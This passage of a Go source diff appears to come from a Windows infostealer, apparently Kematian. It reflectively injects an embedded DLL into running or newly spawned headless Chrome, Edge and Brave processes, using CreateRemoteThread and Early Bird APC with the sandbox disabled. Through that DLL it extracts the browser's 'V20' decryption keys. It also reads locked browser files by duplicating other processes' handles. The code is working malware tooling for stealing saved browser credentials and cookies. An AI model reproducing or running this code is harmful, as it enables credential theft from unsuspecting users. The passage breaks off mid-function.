return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
|
||||
if hThread == 0 {
|
||||
windows.CloseHandle(hProcess)
|
||||
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
|
||||
}
|
||||
windows.CloseHandle(windows.Handle(hThread))
|
||||
|
||||
logf("DLL reflectively injected into PID %d", targetPID)
|
||||
|
||||
return &PipeSession{
|
||||
pid: targetPID,
|
||||
hProcess: hProcess,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
|
||||
windows.CloseHandle(hProcess)
|
||||
}
|
||||
|
||||
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
|
||||
// existing browser process (passing the pipe name via lpParameter), and waits
|
||||
// for connection. Falls back to creating a new headless browser process if
|
||||
// injection into an existing process fails or times out.
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
pipeName := createPipeName()
|
||||
logf("creating pipe: %s", pipeName)
|
||||
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe server: %w", err)
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(BrowserExeName(browserName))
|
||||
|
||||
const maxExistingTries = 3
|
||||
if len(pids) > 0 {
|
||||
for i, pid := range pids {
|
||||
if i >= maxExistingTries {
|
||||
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
|
||||
break
|
||||
}
|
||||
logf("trying existing %s PID %d", browserName, pid)
|
||||
s, err := InjectDLL(dllBytes, pipeName, pid)
|
||||
if err != nil {
|
||||
logf("inject PID %d failed: %v", pid, err)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
|
||||
if err := waitPipeConnect(hPipe, 2000); err != nil {
|
||||
logf("pipe connect timeout for PID %d", pid)
|
||||
s.Close()
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with existing %s (PID %d)", browserName, pid)
|
||||
return s, nil
|
||||
}
|
||||
logf("failed to inject into existing %s processes, will try creating new process", browserName)
|
||||
} else {
|
||||
logf("no running %s found, will create new headless process", browserName)
|
||||
}
|
||||
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create and inject browser: %w", err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
|
||||
|
||||
if err := waitPipeConnect(hPipe, 5000); err != nil {
|
||||
logf("pipe connect timeout for new process")
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
|
||||
s.hPipe = hPipe
|
||||
s.ownsProcess = true
|
||||
ActivePipeSession = s
|
||||
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// FindProcesses returns PIDs of running processes matching the given exe name.
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.CloseHandle(hSnapshot)
|
||||
|
||||
var entry windows.ProcessEntry32
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
if err := windows.Process32First(hSnapshot, &entry); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var pids []uint32
|
||||
for {
|
||||
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
|
||||
pids = append(pids, entry.ProcessID)
|
||||
}
|
||||
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
switch name {
|
||||
case "Chrome":
|
||||
return "chrome.exe"
|
||||
case "Edge":
|
||||
return "msedge.exe"
|
||||
case "Brave":
|
||||
return "brave.exe"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
|
||||
// injects the DLL via Early Bird APC. No temp file is written to disk.
|
||||
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
|
||||
browserPath, err := getBrowserPath(browserName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("get browser path: %w", err)
|
||||
}
|
||||
|
||||
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
|
||||
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var si windows.StartupInfo
|
||||
var pi windows.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(si))
|
||||
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
|
||||
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
|
||||
return nil, fmt.Errorf("CreateProcess: %w", err)
|
||||
}
|
||||
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
|
||||
|
||||
// Create a kill-on-close job and assign the suspended browser to it so the
|
||||
// whole process tree is reaped when the session closes, even though the
|
||||
// headless parent self-exits after serving one key.
|
||||
job, jobErr := createKillOnCloseJob()
|
||||
if jobErr != nil {
|
||||
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
|
||||
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
|
||||
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
|
||||
windows.CloseHandle(job)
|
||||
job = 0
|
||||
} else {
|
||||
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
if job != 0 {
|
||||
windows.CloseHandle(job)
|
||||
}
|
||||
windows.TerminateProcess(pi.Process, 0)
|
||||
windows.CloseHandle(pi.Process)
|
||||
windows.CloseHandle(pi.Thread)
|
||||
}
|
||||
|
||||
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
|
||||
if err != nil {
|
||||
cleanup()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Queue APC to the main thread — fires on its first alertable wait after resume.
|
||||
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
|
||||
if ret == 0 {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
|
||||
}
|
||||
logf("queued APC for reflective loader")
|
||||
|
||||
if _, err := windows.ResumeThread(pi.Thread); err != nil {
|
||||
cleanup()
|
||||
return nil, fmt.Errorf("ResumeThread: %w", err)
|
||||
}
|
||||
logf("resumed process main thread")
|
||||
|
||||
return &PipeSession{
|
||||
pid: pi.ProcessId,
|
||||
hProcess: pi.Process,
|
||||
ownsProcess: true,
|
||||
job: job,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func getBrowserPath(browserName string) (string, error) {
|
||||
var paths []string
|
||||
switch browserName {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
|
||||
}
|
||||
default:
|
||||
return "", fmt.Errorf("unknown browser: %s", browserName)
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("%s not found", browserName)
|
||||
}
|
||||
|
||||
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
|
||||
// into a browser process and communicating via named pipe.
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
dllBytes := GetEmbeddedDLL()
|
||||
if dllBytes == nil {
|
||||
return nil, fmt.Errorf("no embedded DLL")
|
||||
}
|
||||
|
||||
pids := orderedBrowserPIDs(processName)
|
||||
if len(pids) == 0 && browserName == "Chrome" {
|
||||
return nil, fmt.Errorf("no running Chrome processes for V20")
|
||||
}
|
||||
|
||||
pipeName := createPipeName()
|
||||
hPipe, err := createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("create pipe: %w", err)
|
||||
}
|
||||
|
||||
const maxTries = 3
|
||||
for i, pid := range pids {
|
||||
if i >= maxTries {
|
||||
break
|
||||
}
|
||||
s, injErr := InjectDLL(dllBytes, pipeName, pid)
|
||||
if injErr != nil {
|
||||
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
|
||||
continue
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
|
||||
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
|
||||
logf("V20 pipe timeout for %s PID %d", browserName, pid)
|
||||
procDisconnectNamedPipe.Call(uintptr(hPipe))
|
||||
windows.CloseHandle(hPipe)
|
||||
hPipe, err = createPipeServer(pipeName)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recreate pipe: %w", err)
|
||||
}
|
||||
continue
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
|
||||
if browserName == "Chrome" {
|
||||
windows.CloseHandle(hPipe)
|
||||
tried := len(pids)
|
||||
if tried > maxTries {
|
||||
tried = maxTries
|
||||
}
|
||||
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
|
||||
}
|
||||
|
||||
logf("existing %s PIDs failed for V20, launching headless process", browserName)
|
||||
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
|
||||
if err != nil {
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
|
||||
}
|
||||
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
|
||||
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
|
||||
s.Close()
|
||||
windows.CloseHandle(hPipe)
|
||||
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
|
||||
}
|
||||
s.hPipe = hPipe
|
||||
encB64 := base64.StdEncoding.EncodeToString(encBlob)
|
||||
key, keyErr := s.GetV20Key(browserName, encB64)
|
||||
s.Close()
|
||||
return key, keyErr
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
return nil, errors.New("DLL injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
|
||||
return nil, errors.New("pipe injection not supported on this platform")
|
||||
}
|
||||
|
||||
func FindProcesses(exeName string) ([]uint32, error) {
|
||||
if exeName == "" {
|
||||
return nil, nil
|
||||
}
|
||||
out, err := exec.Command("pgrep", "-x", exeName).Output()
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
var pids []uint32
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
|
||||
pids = append(pids, uint32(pid))
|
||||
}
|
||||
}
|
||||
return pids, nil
|
||||
}
|
||||
|
||||
func BrowserExeName(name string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
|
||||
return nil, errors.New("not supported on this platform")
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import "os"
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
return os.ReadFile(srcPath)
|
||||
}
|
||||
|
||||
func ResetHandleCache() {}
|
||||
@@ -0,0 +1,330 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
SystemExtendedHandleInformation = 64
|
||||
fileTypeDisk2 = 0x0001
|
||||
pageReadonly2 = 0x02
|
||||
fileMapRead2 = 0x04
|
||||
)
|
||||
|
||||
type systemHandleInfoEx struct {
|
||||
NumberOfHandles uintptr
|
||||
Reserved uintptr
|
||||
Handles [1]systemHandleEntry
|
||||
}
|
||||
|
||||
type systemHandleEntry struct {
|
||||
Object uintptr
|
||||
UniqueProcessId uintptr
|
||||
HandleValue uintptr
|
||||
GrantedAccess uint32
|
||||
CreatorBackTrace uint16
|
||||
ObjectTypeIndex uint16
|
||||
HandleAttributes uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
type rmUniqueProcess2 struct {
|
||||
ProcessId uint32
|
||||
ProcessStartTime syscall.Filetime
|
||||
}
|
||||
|
||||
type rmProcessInfo2 struct {
|
||||
Process rmUniqueProcess2
|
||||
AppName [256]uint16
|
||||
ServiceShortName [64]uint16
|
||||
ApplicationType uint32
|
||||
AppStatus uint32
|
||||
TSSessionId uint32
|
||||
Restartable int32
|
||||
}
|
||||
|
||||
var (
|
||||
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
|
||||
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
|
||||
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
|
||||
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
|
||||
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
|
||||
procGetFileType = modKernel32.NewProc("GetFileType")
|
||||
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
|
||||
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
|
||||
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
|
||||
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
|
||||
procRmGetList = modRstrtmgr.NewProc("RmGetList")
|
||||
)
|
||||
|
||||
var (
|
||||
handleCacheMu sync.Mutex
|
||||
handleCacheVal []systemHandleEntry
|
||||
)
|
||||
|
||||
func cachedSystemHandles() ([]systemHandleEntry, error) {
|
||||
handleCacheMu.Lock()
|
||||
defer handleCacheMu.Unlock()
|
||||
if handleCacheVal != nil {
|
||||
return handleCacheVal, nil
|
||||
}
|
||||
h, err := querySystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
handleCacheVal = h
|
||||
return h, nil
|
||||
}
|
||||
|
||||
func ResetHandleCache() {
|
||||
handleCacheMu.Lock()
|
||||
handleCacheVal = nil
|
||||
handleCacheMu.Unlock()
|
||||
}
|
||||
|
||||
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
|
||||
if data, err := os.ReadFile(srcPath); err == nil {
|
||||
logf("read directly: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
|
||||
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
|
||||
pids = mergePIDs(pids, lockPids)
|
||||
}
|
||||
|
||||
if len(pids) > 0 {
|
||||
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
|
||||
logf("read via handle dup: %s", srcPath)
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
if ActivePipeSession != nil {
|
||||
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
|
||||
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
|
||||
}
|
||||
|
||||
func mergePIDs(a, b []uint32) []uint32 {
|
||||
seen := make(map[uint32]struct{}, len(a)+len(b))
|
||||
for _, p := range a {
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
result := append([]uint32(nil), a...)
|
||||
for _, p := range b {
|
||||
if _, ok := seen[p]; !ok {
|
||||
result = append(result, p)
|
||||
seen[p] = struct{}{}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
|
||||
handles, err := cachedSystemHandles()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
pidSet := make(map[uintptr]struct{}, len(pids))
|
||||
for _, p := range pids {
|
||||
pidSet[uintptr(p)] = struct{}{}
|
||||
}
|
||||
|
||||
for _, h := range handles {
|
||||
if _, ok := pidSet[h.UniqueProcessId]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var dupHandle windows.Handle
|
||||
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
|
||||
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
|
||||
windows.CloseHandle(hProcess)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
|
||||
if ft != fileTypeDisk2 {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
handlePath := getHandlePath(uintptr(dupHandle))
|
||||
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
|
||||
windows.CloseHandle(dupHandle)
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := readFileByMapping(dupHandle)
|
||||
windows.CloseHandle(dupHandle)
|
||||
if err == nil {
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
|
||||
}
|
||||
|
||||
func readFileByMapping(h windows.Handle) ([]byte, error) {
|
||||
var fileSize int64
|
||||
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
|
||||
if ok == 0 || fileSize <= 0 {
|
||||
return nil, fmt.Errorf("empty or unreadable file")
|
||||
}
|
||||
|
||||
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
|
||||
if hMapping == 0 {
|
||||
return nil, fmt.Errorf("CreateFileMappingW failed")
|
||||
}
|
||||
defer windows.CloseHandle(windows.Handle(hMapping))
|
||||
|
||||
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
|
||||
if baseAddr == 0 {
|
||||
return nil, fmt.Errorf("MapViewOfFile failed")
|
||||
}
|
||||
defer procUnmapViewOfFile.Call(baseAddr)
|
||||
|
||||
data := make([]byte, fileSize)
|
||||
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func querySystemHandles() ([]systemHandleEntry, error) {
|
||||
bufSize := uint32(1 * 1024 * 1024)
|
||||
for {
|
||||
buf := make([]byte, bufSize)
|
||||
var returnLength uint32
|
||||
status, _, _ := procNtQuerySystemInformation.Call(
|
||||
SystemExtendedHandleInformation,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(bufSize),
|
||||
uintptr(unsafe.Pointer(&returnLength)),
|
||||
)
|
||||
if status&0xFFFFFFFF == 0xC0000004 {
|
||||
bufSize = returnLength + 65536
|
||||
if bufSize > 256*1024*1024 {
|
||||
return nil, fmt.Errorf("handle buffer too large")
|
||||
}
|
||||
continue
|
||||
}
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
|
||||
}
|
||||
|
||||
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
|
||||
count := int(info.NumberOfHandles)
|
||||
handles := make([]systemHandleEntry, count)
|
||||
for i := 0; i < count; i++ {
|
||||
entry := (*systemHandleEntry)(unsafe.Pointer(
|
||||
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
|
||||
))
|
||||
handles[i] = *entry
|
||||
}
|
||||
return handles, nil
|
||||
}
|
||||
}
|
||||
|
||||
func getHandlePath(handle uintptr) string {
|
||||
buf := make([]uint16, 32768)
|
||||
n, _, _ := procGetFinalPathNameByHandle.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&buf[0])),
|
||||
uintptr(len(buf)),
|
||||
0,
|
||||
)
|
||||
if n == 0 || n >= uintptr(len(buf)) {
|
||||
return ""
|
||||
}
|
||||
s := syscall.UTF16ToString(buf[:n])
|
||||
if strings.HasPrefix(s, `\\?\`) {
|
||||
s = s[4:]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func getProcessesLockingFile(filePath string) []uint32 {
|
||||
suffix := filePath
|
||||
if len(suffix) > 8 {
|
||||
suffix = suffix[len(suffix)-8:]
|
||||
}
|
||||
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var sessionHandle uint32
|
||||
ret, _, _ := procRmStartSession.Call(
|
||||
uintptr(unsafe.Pointer(&sessionHandle)), 0,
|
||||
uintptr(unsafe.Pointer(sessionKey)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
defer procRmEndSession.Call(uintptr(sessionHandle))
|
||||
|
||||
filePathW, err := syscall.UTF16PtrFromString(filePath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
ret, _, _ = procRmRegisterResources.Call(
|
||||
uintptr(sessionHandle), 1,
|
||||
uintptr(unsafe.Pointer(&filePathW)),
|
||||
0, 0, 0, 0,
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var needed, count, rebootReason uint32
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 234 || needed == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
infos := make([]rmProcessInfo2, needed)
|
||||
count = needed
|
||||
ret, _, _ = procRmGetList.Call(
|
||||
uintptr(sessionHandle),
|
||||
uintptr(unsafe.Pointer(&needed)),
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&infos[0])),
|
||||
uintptr(unsafe.Pointer(&rebootReason)),
|
||||
)
|
||||
if ret != 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
pids := make([]uint32, 0, count)
|
||||
for i := uint32(0); i < count; i++ {
|
||||
pids = append(pids, infos[i].Process.ProcessId)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package platform
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[platform] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type PipeSession struct {
|
||||
mu sync.Mutex
|
||||
hPipe windows.Handle
|
||||
hProcess windows.Handle
|
||||
pid uint32
|
||||
ownsProcess bool
|
||||
job windows.Handle
|
||||
closed bool
|
||||
}
|
||||
|
||||
var (
|
||||
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
|
||||
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
|
||||
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
|
||||
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
|
||||
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
|
||||
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
|
||||
)
|
||||
|
||||
func createPipeName() string {
|
||||
b := make([]byte, 8)
|
||||
rand.Read(b)
|
||||
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
|
||||
}
|
||||
|
||||
func createPipeServer(pipeName string) (windows.Handle, error) {
|
||||
namePtr, err := syscall.UTF16PtrFromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
const (
|
||||
PIPE_ACCESS_DUPLEX = 0x3
|
||||
PIPE_TYPE_BYTE = 0x0
|
||||
PIPE_READMODE_BYTE = 0x0
|
||||
PIPE_WAIT = 0x0
|
||||
PIPE_UNLIMITED_INSTANCES = 0xFF
|
||||
)
|
||||
|
||||
r, _, err := procCreateNamedPipeW.Call(
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
||||
PIPE_UNLIMITED_INSTANCES,
|
||||
65536, // output buffer
|
||||
65536, // input buffer
|
||||
15000, // timeout ms
|
||||
0,
|
||||
)
|
||||
if r == ^uintptr(0) {
|
||||
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
|
||||
}
|
||||
return windows.Handle(r), nil
|
||||
}
|
||||
|
||||
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
|
||||
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("CreateEvent: %w", err)
|
||||
}
|
||||
defer windows.CloseHandle(hEvent)
|
||||
|
||||
ov := windows.Overlapped{HEvent: hEvent}
|
||||
|
||||
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
|
||||
if r != 0 {
|
||||
return nil // already connected
|
||||
}
|
||||
|
||||
if err == windows.ERROR_PIPE_CONNECTED {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != windows.ERROR_IO_PENDING {
|
||||
return fmt.Errorf("ConnectNamedPipe: %w", err)
|
||||
}
|
||||
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return fmt.Errorf("pipe connect timeout")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeSend(data []byte) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
length := uint32(len(data))
|
||||
lengthBytes := []byte{
|
||||
byte(length),
|
||||
byte(length >> 8),
|
||||
byte(length >> 16),
|
||||
byte(length >> 24),
|
||||
}
|
||||
|
||||
var written uint32
|
||||
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
|
||||
if err != nil || written != 4 {
|
